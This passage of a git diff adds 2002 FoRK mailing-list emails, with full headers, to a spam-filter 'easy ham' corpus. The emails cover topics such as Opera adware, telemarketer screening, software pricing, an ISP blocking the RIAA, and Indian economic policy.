19:54:20 -0700 (PDT) +Received: (qmail 29439 invoked from network); 20 Aug 2002 02:55:54 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 20 Aug 2002 02:55:54 -0000 +Reply-To: +From: "John Hall" +To: +Subject: Test Test ignore +Message-Id: <00a501c247f5$1561dd50$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: <8369845E-B3BF-11D6-A70E-000393A46DEA@alumni.caltech.edu> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 19:55:46 -0700 + + + +John Hall +13464 95th Ave NE +Kirkland WA 98034 + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Rohit +> Khare +> Sent: Monday, August 19, 2002 3:04 PM +> To: fork@spamassassin.taint.org +> Subject: POLICY CHANGE: subscriber-only posting +> +> Sorry, gang, but I've flipped the switch. If your posting address +> doesn't match your subscription address, or if you've instructed a +robot +> to forkpost on your behalf, it'll get held, silently, for me or Kragen +> to review. Which will be rarely, so be warned. +> +> Let's see how this works out for a week or so... +> +> Rohit +> +> --- +> My permanent email address is khare@alumni.caltech.edu +> +> http://xent.com/mailman/listinfo/fork + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01091.e9414f6071a607b9e70c13ac7051394f b/bayes/spamham/easy_ham_2/01091.e9414f6071a607b9e70c13ac7051394f new file mode 100644 index 0000000..cea55ac --- /dev/null +++ b/bayes/spamham/easy_ham_2/01091.e9414f6071a607b9e70c13ac7051394f @@ -0,0 +1,74 @@ +From fork-admin@xent.com Tue Aug 20 11:53:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BFE4843C6A + for ; Tue, 20 Aug 2002 06:52:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:16 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K5dGZ26407 for ; + Tue, 20 Aug 2002 06:39:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 86D80294145; Mon, 19 Aug 2002 22:37:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (dav51.law15.hotmail.com [64.4.22.40]) by + xent.com (Postfix) with ESMTP id D2E0929409D for ; + Mon, 19 Aug 2002 22:37:00 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Mon, 19 Aug 2002 22:38:35 -0700 +X-Originating-Ip: [207.202.171.254] +From: "Mr. FoRK" +To: +References: <002401c24652$725b64d0$0200a8c0@JMHALL> + <006c01c24656$2a052ff0$640a000a@golden> +Subject: Re: Mailing addresses against spam? Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +Message-Id: +X-Originalarrivaltime: 20 Aug 2002 05:38:35.0839 (UTC) FILETIME=[D3FFC4F0:01C2480B] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 22:41:50 -0700 + + + + + +> John Hall signs his message: +> > John Hall +> > 13464 95th Ave NE +> > Kirkland WA 98034 +> +> Is this some new "I'm not spam" signal, to include a +> valid mailing address? +> +> - Gordon + +Dear Gawd - /I/ live in Kirkland. I hope I don't wake up one day and realize +/I/ am John Hall... + +I wonder if I can get GPS lat/long from street address... start a new +GeoTrashing sport or something... + +Hmm... that address is only a quarter-mile from my old house... and about a +block from a friend of mine. Weird... + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01092.0e32538ae959d460cd3ef7a4ae0cfb13 b/bayes/spamham/easy_ham_2/01092.0e32538ae959d460cd3ef7a4ae0cfb13 new file mode 100644 index 0000000..20b1d3d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01092.0e32538ae959d460cd3ef7a4ae0cfb13 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Tue Aug 20 11:53:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B0AE243C69 + for ; Tue, 20 Aug 2002 06:52:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K4RIZ24861 for ; + Tue, 20 Aug 2002 05:27:19 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 38E14294142; Mon, 19 Aug 2002 21:25:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) + by xent.com (Postfix) with ESMTP id 7AFED29409D for ; + Mon, 19 Aug 2002 21:24:49 -0700 (PDT) +Received: from Intellistation ([66.31.2.27]) by rwcrmhc51.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020820042623.QJWK1746.rwcrmhc51.attbi.com@Intellistation> for + ; Tue, 20 Aug 2002 04:26:23 +0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Eirikur Hallgrimsson +Organization: Electric Brain +Subject: Spam nostalgia, Annoyance Calls, good ideas with no analysis +User-Agent: KMail/1.4.1 +To: fork@spamassassin.taint.org +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200208200025.11856.eh@mad.scientist.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 00:25:11 -0400 + +Am I going to long for the good old days of Nigerian 419? + +After picking up the land-line phone mid-day (always a bad idea) only to +slam it down before the telemarketer even spoke, I have in mind an +invention. If my brain can detect the crosstalk from a call-center before +the human, sub-human, or machine starts speaking, why not have a box that +just hangs up for me? Maybe it could blow a police whistle (play a +sample) into the phone first. + +Currently, a strategy of leaving the machine on as a screener works pretty +well, but I still get Carey-on-RIAA style mad when the damn phone rings +and it's NOT anyone I want to talk to. + +..... + +I want to like Spider Robinson's works. Really. I mean having a "Bridge +of Birds" attraction in the "China that never was" portion of the theme +part in "The Free Lunch...." But, I really fell for his anti-paparatzi +device (invented by a princess Diana fan). Doggone. I've now completely +reasoned my way around it. It has a built-in defense against the first +obvious way of confounding it, but that leads directly to an exploit that +uses off the shelf hardware that a paparatzi ought to have in her kit. +That's so often the problem with Robinson. He doesn't think that you the +reader are nearly so smart as he. Heh. I admit that reading a lot of +slushpile manuscripts does not improve one's opinion of fellow-man, but +I always resent him for not being thorough. + +Eirikur + + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01093.9b63a792935a6863a12556dd429bde7b b/bayes/spamham/easy_ham_2/01093.9b63a792935a6863a12556dd429bde7b new file mode 100644 index 0000000..d0702b4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01093.9b63a792935a6863a12556dd429bde7b @@ -0,0 +1,60 @@ +From fork-admin@xent.com Tue Aug 20 11:53:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6506143C3D + for ; Tue, 20 Aug 2002 06:52:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K6uHZ28232 for ; + Tue, 20 Aug 2002 07:56:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 626F42940AA; Mon, 19 Aug 2002 23:54:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id DEDCB29409D for + ; Mon, 19 Aug 2002 23:53:58 -0700 (PDT) +Received: (qmail 8213 invoked by uid 508); 20 Aug 2002 06:55:31 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.15) by + venus.phpwebhosting.com with SMTP; 20 Aug 2002 06:55:31 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7K6tHO08466; Tue, 20 Aug 2002 08:55:18 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: "Joseph S. Barrera III" +Cc: Rob Shavell , +Subject: Re: sprint delivers the next big thing?? +In-Reply-To: <3D60DEC6.6020306@barrera.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 08:55:17 +0200 (CEST) + +On Mon, 19 Aug 2002, Joseph S. Barrera III wrote: + +> In fact, with a 1GB microdrive in my camera, I often just keep +> old pictures around, and I can show people pictures using the +> camera's display. Which is bound to be better than the cell phone's. + +A detachable clip-on eyepiece display could be arbitrarily high-res. Now +that we see first OLED prototypes (cheap, can be printed on curved +surfaces resulting in cheaper optics) it can't be more than 5 years off. + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01094.5bd0918274c1c243e77e44a2987b851c b/bayes/spamham/easy_ham_2/01094.5bd0918274c1c243e77e44a2987b851c new file mode 100644 index 0000000..cb7cbba --- /dev/null +++ b/bayes/spamham/easy_ham_2/01094.5bd0918274c1c243e77e44a2987b851c @@ -0,0 +1,61 @@ +From fork-admin@xent.com Tue Aug 20 11:53:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5316543C45 + for ; Tue, 20 Aug 2002 06:52:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:30 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K93LZ31584 for ; + Tue, 20 Aug 2002 10:03:22 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 23B5129409E; Tue, 20 Aug 2002 02:01:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id 00C1029409D for + ; Tue, 20 Aug 2002 02:00:38 -0700 (PDT) +Received: (qmail 17987 invoked by uid 501); 20 Aug 2002 09:02:03 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 20 Aug 2002 09:02:03 -0000 +From: CDale +To: fork@spamassassin.taint.org +Subject: Snag Ware +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 04:02:03 -0500 (CDT) + +We were sitting here talking about Opera, and the fact that it's not free +anymore (unless you want the scrollypollies), and how that sucked and +stuff, and someone said something about nagware, and I misinterpretted it +as snag ware, which mainly means, oh yeh, right, I'm gonna buy this +-eyeroll- where's someone with a key? LOL So who is it again who's on +this list who's associated with Opera? Why's the free one using the same +LAME idea netzero, etc useD? I know what kind of costs are involved in +creating software like this, and I understand everyone needs to eat, but +if someone can get netscape for free, and opera isn't free, then, hmmm... +I imagine this email is going to bring some bricks down on my head, but +well, go for it, I gots my helmet. (: +Cindy +P.S. GregB, you there? (: + +-- +"I don't take no stocks in mathematics, anyway" --Huckleberry Finn + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01095.a09e279c01f5a92368da4eec7533cbbd b/bayes/spamham/easy_ham_2/01095.a09e279c01f5a92368da4eec7533cbbd new file mode 100644 index 0000000..a04ddcb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01095.a09e279c01f5a92368da4eec7533cbbd @@ -0,0 +1,68 @@ +From fork-admin@xent.com Tue Aug 20 18:36:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 58E2543C32 + for ; Tue, 20 Aug 2002 13:36:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 18:36:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KHcMZ17606 for ; + Tue, 20 Aug 2002 18:38:23 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BF5C5294102; Tue, 20 Aug 2002 10:36:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f110.law15.hotmail.com [64.4.23.110]) by + xent.com (Postfix) with ESMTP id 43C4D294099 for ; + Tue, 20 Aug 2002 10:35:20 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Tue, 20 Aug 2002 10:36:56 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Tue, 20 Aug 2002 17:36:56 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: Snag Ware +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 20 Aug 2002 17:36:56.0894 (UTC) FILETIME=[2E3AD5E0:01C24870] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 17:36:56 +0000 + +Joseph S. Barrera III: +>I just use the free/adware version of Opera. I mean, +>half the pages I look at have ads on them anways .. + +I didn't mind the ads. The problem is that the ad +server Opera puts on your machine is a PIG. Every +time it goes to change the ad, it thrashes my +laptop for thirty seconds. So no, I don't mind +the ad, but I do mind that serving ads cripples +the browser. + +Alas, Mozilla is also a PIG. So I'm back to using +IE, which seems to be the only free, reasonably +featured browser that runs decently on my laptop. +I'm open to alternatives .. + + + +_________________________________________________________________ +MSN Photos is the easiest way to share and print your photos: +http://photos.msn.com/support/worldwide.aspx + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01096.b2ca8ea7972e15026589028566d00abb b/bayes/spamham/easy_ham_2/01096.b2ca8ea7972e15026589028566d00abb new file mode 100644 index 0000000..1b4f301 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01096.b2ca8ea7972e15026589028566d00abb @@ -0,0 +1,62 @@ +From fork-admin@xent.com Tue Aug 20 19:34:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5C5FA43C32 + for ; Tue, 20 Aug 2002 14:34:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 19:34:32 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KIWMZ19561 for ; + Tue, 20 Aug 2002 19:32:22 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1DABF2940A0; Tue, 20 Aug 2002 11:30:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 62B4D294099 for ; Tue, 20 Aug 2002 11:29:43 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id BBB17C44E; + Tue, 20 Aug 2002 20:24:12 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: The Curse of India's Socialism +Message-Id: <20020820182412.BBB17C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 20:24:12 +0200 (CEST) + +RAH quoted: +>Indians are not poor because there are too many of them; they are poor +>because there are too many regulations and too much government intervention +>-- even today, a decade after reforms were begun. India's greatest problems +>arise from a political culture guided by socialist instincts on the one +>hand and an imbedded legal obligation on the other hand. + +Nice theory and all, but s/India/France/g and the statements hold just +as true, yet France is #12 in the UN's HDI ranking, not #124. + + +>Since all parties must stand for socialism, no party espouses +>classical liberalism + +I'm not convinced that that classical liberalism is a good solution +for countries in real difficulty. See Joseph Stiglitz (Nobel for +Economics) on the FMI's failed remedies. Of course googling on +"Stiglitz FMI" only brings up links in Spanish and French. I guess +that variety of spin is non grata in many anglo circles. + + +R +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01097.e77fc330f1f29e1883aadcbe6aa56d20 b/bayes/spamham/easy_ham_2/01097.e77fc330f1f29e1883aadcbe6aa56d20 new file mode 100644 index 0000000..502ddec --- /dev/null +++ b/bayes/spamham/easy_ham_2/01097.e77fc330f1f29e1883aadcbe6aa56d20 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Tue Aug 20 20:16:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E459B43C32 + for ; Tue, 20 Aug 2002 15:15:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 20:15:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KJFLZ20954 for ; + Tue, 20 Aug 2002 20:15:21 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id ECA36294148; Tue, 20 Aug 2002 12:10:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mlug.missouri.edu (mlug.missouri.edu [128.206.61.230]) by + xent.com (Postfix) with ESMTP id EE9DD294146 for ; + Tue, 20 Aug 2002 12:09:59 -0700 (PDT) +Received: from mlug.missouri.edu (mogmios@localhost [127.0.0.1]) by + mlug.missouri.edu (8.12.3/8.12.3/Debian -4) with ESMTP id g7KJBZKL022804 + (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL); + Tue, 20 Aug 2002 14:11:35 -0500 +Received: from localhost (mogmios@localhost) by mlug.missouri.edu + (8.12.3/8.12.3/Debian -4) with ESMTP id g7KJBZfe022800; Tue, + 20 Aug 2002 14:11:35 -0500 +From: Michael +To: CDale +Cc: fork@spamassassin.taint.org +Subject: Re: Snag Ware +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 14:11:34 -0500 (CDT) + +I develop software and my pricing is that I charge the first set of +customers that drive the features included quite a bit, then charge the +majority of the customers a small fee, and when I've earned back what I +invested (including my hourly wage) then I release that software for free +and either start working on a newer version (again back to the adding +features step) or on a new product. If you can't find someone willing to +pay your costs of development then most likely there really isn't a need +for the product you're trying to sell and you shouldn't develop it. If you +have to resort to free versions with lame ass ads and stuff then that is a +strong indication to get a new project IMO. :) + + +> We were sitting here talking about Opera, and the fact that it's not +> free anymore (unless you want the scrollypollies), and how that sucked +> and stuff, and someone said something about nagware, and I +> misinterpretted it as snag ware, which mainly means, oh yeh, right, I'm +> gonna buy this -eyeroll- where's someone with a key? LOL So who is it +> again who's on this list who's associated with Opera? Why's the free +> one using the same LAME idea netzero, etc useD? I know what kind of +> costs are involved in creating software like this, and I understand +> everyone needs to eat, but if someone can get netscape for free, and +> opera isn't free, then, hmmm... I imagine this email is going to bring +> some bricks down on my head, but well, go for it, I gots my helmet. (: +> Cindy P.S. GregB, you there? (: + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01098.acdef0e9a57b12406d7972aead5edeb4 b/bayes/spamham/easy_ham_2/01098.acdef0e9a57b12406d7972aead5edeb4 new file mode 100644 index 0000000..569a075 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01098.acdef0e9a57b12406d7972aead5edeb4 @@ -0,0 +1,121 @@ +From fork-admin@xent.com Tue Aug 20 20:36:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38FB443C32 + for ; Tue, 20 Aug 2002 15:36:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 20:36:45 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KJYMZ21492 for ; + Tue, 20 Aug 2002 20:34:22 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B8904294145; Tue, 20 Aug 2002 12:32:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sunserver.permafrost.net (u172n16.hfx.eastlink.ca + [24.222.172.16]) by xent.com (Postfix) with ESMTP id 7DA0A294140 for + ; Tue, 20 Aug 2002 12:31:25 -0700 (PDT) +Received: from [192.168.123.179] (helo=permafrost.net) by + sunserver.permafrost.net with esmtp (Exim 3.35 #1 (Debian)) id + 17hEhc-0003cY-00; Tue, 20 Aug 2002 16:30:08 -0300 +Message-Id: <3D6298DE.8030706@permafrost.net> +From: Owen Byrne +User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.0) Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: bitbitch@magnesium.net +Cc: fork@spamassassin.taint.org +Subject: Re: This little domain went to China.... +References: + <044025976.20020819221917@magnesium.net> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 16:30:38 -0300 + +bitbitch@magnesium.net wrote: + +>The RIAA continues to amaze me. Everyone might want to grok the +>news yahoo has: +> +>http://rd.yahoo.com/dailynews/nm/tc_nm/inlinks/*http://Listen4ever.com +> +> +>And if you're really bored, go ahead and read the papers that were +>filed by the RIAA against the major backbone providers. +> +>http://www.riaa.com/pdf/Listen4Ever.pdf +> +> +> +> +>A very disgruntled, +> +>bitbitch +> +> +>http://xent.com/mailman/listinfo/fork +> +Well perhaps this little tidbit of sanity will make you (slightly) more +gruntled: +http://www.informationwave.net/news/20020819riaa.php +---------------------------------------------------------- +*IWT Bans RIAA From Accessing Its Network* + +*August 19, 2002* + +Information Wave Technologies has announced it will actively deny the +Recording Industry Association of America (RIAA) from accessing the +contents of its network. Earlier this year, the RIAA announced its new +plan to access computers without owner's consent for the sake of +protecting its assets. Information Wave believes this policy puts its +customers at risk of unintentional damage, corporate espionage, and +invasion of privacy to say the least. + +Due to the nature of this matter and RIAA's previous history, we feel +the RIAA will abuse software vulnerabilities in a client's browser after +the browser accesses its site, potentially allowing the RIAA to access +and/or tamper with your data. Starting at midnight on August 19, 2002, +Information Wave customers will no longer be able to reach the RIAA's +web site. Information Wave will also actively seek out attempts by the +RIAA to thwart this policy and apply additional filters to protect our +customers' data. + +Information Wave will also deploy peer-to-peer clients on the Gnutella +network from its security research and development network (honeynet) +which will offer files with popular song titles derived from the +Billboard Top 100 maintained by VNU eMedia. No copyright violations will +take place, these files will merely have arbitrary sizes similar to the +length of a 3 to 4 minute MP3 audio file encoded at 128kbps. Clients +which connect to our peer-to-peer clients, and then afterwards attempt +to illegally access the network will be immediately blacklisted from +Information Wave's network. The data collected will be actively +maintained and distributed from our network operations site. + +The placement of this policy is not intended to hamper the RIAA's piracy +elimination agenda or advocate Internet piracy, but to ensure the safety +of our customers' data attached to our network from hackers or corporate +espionage hidden by the veil of RIAA copyright enforcement. + +If you have questions, comments, or concerns regarding this policy, +please e-mail riaa@informationwave.net . +---------------------------------------------------------------------------------- +Owen + + + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01099.dc26b661c4250f0d2f41255c99f35109 b/bayes/spamham/easy_ham_2/01099.dc26b661c4250f0d2f41255c99f35109 new file mode 100644 index 0000000..98ecdd9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01099.dc26b661c4250f0d2f41255c99f35109 @@ -0,0 +1,249 @@ +From fork-admin@xent.com Tue Aug 20 20:47:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E011743C32 + for ; Tue, 20 Aug 2002 15:47:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 20:47:04 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KJjOZ21822 for ; + Tue, 20 Aug 2002 20:45:25 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 637952940A5; Tue, 20 Aug 2002 12:43:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from web14007.mail.yahoo.com (web14007.mail.yahoo.com + [216.136.175.123]) by xent.com (Postfix) with SMTP id AC168294099 for + ; Tue, 20 Aug 2002 12:42:19 -0700 (PDT) +Message-Id: <20020820194356.27509.qmail@web14007.mail.yahoo.com> +Received: from [208.142.210.201] by web14007.mail.yahoo.com via HTTP; + Tue, 20 Aug 2002 12:43:56 PDT +From: sateesh narahari +Subject: Re: The Curse of India's Socialism +To: fork@spamassassin.taint.org +In-Reply-To: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 12:43:56 -0700 (PDT) + +All good arguments, except till you realize that +majority of indians were poor even before +independence. + +Sateesh + + +--- "R. A. Hettinga" wrote: +> +http://online.wsj.com/article_print/0,,SB1029790639190441115,00.html +> +> +> The Wall Street Journal +> +> August 20, 2002 +> COMMENTARY +> +> The Curse of India's Socialism +> +> By CHRISTOPHER LINGLE +> +> 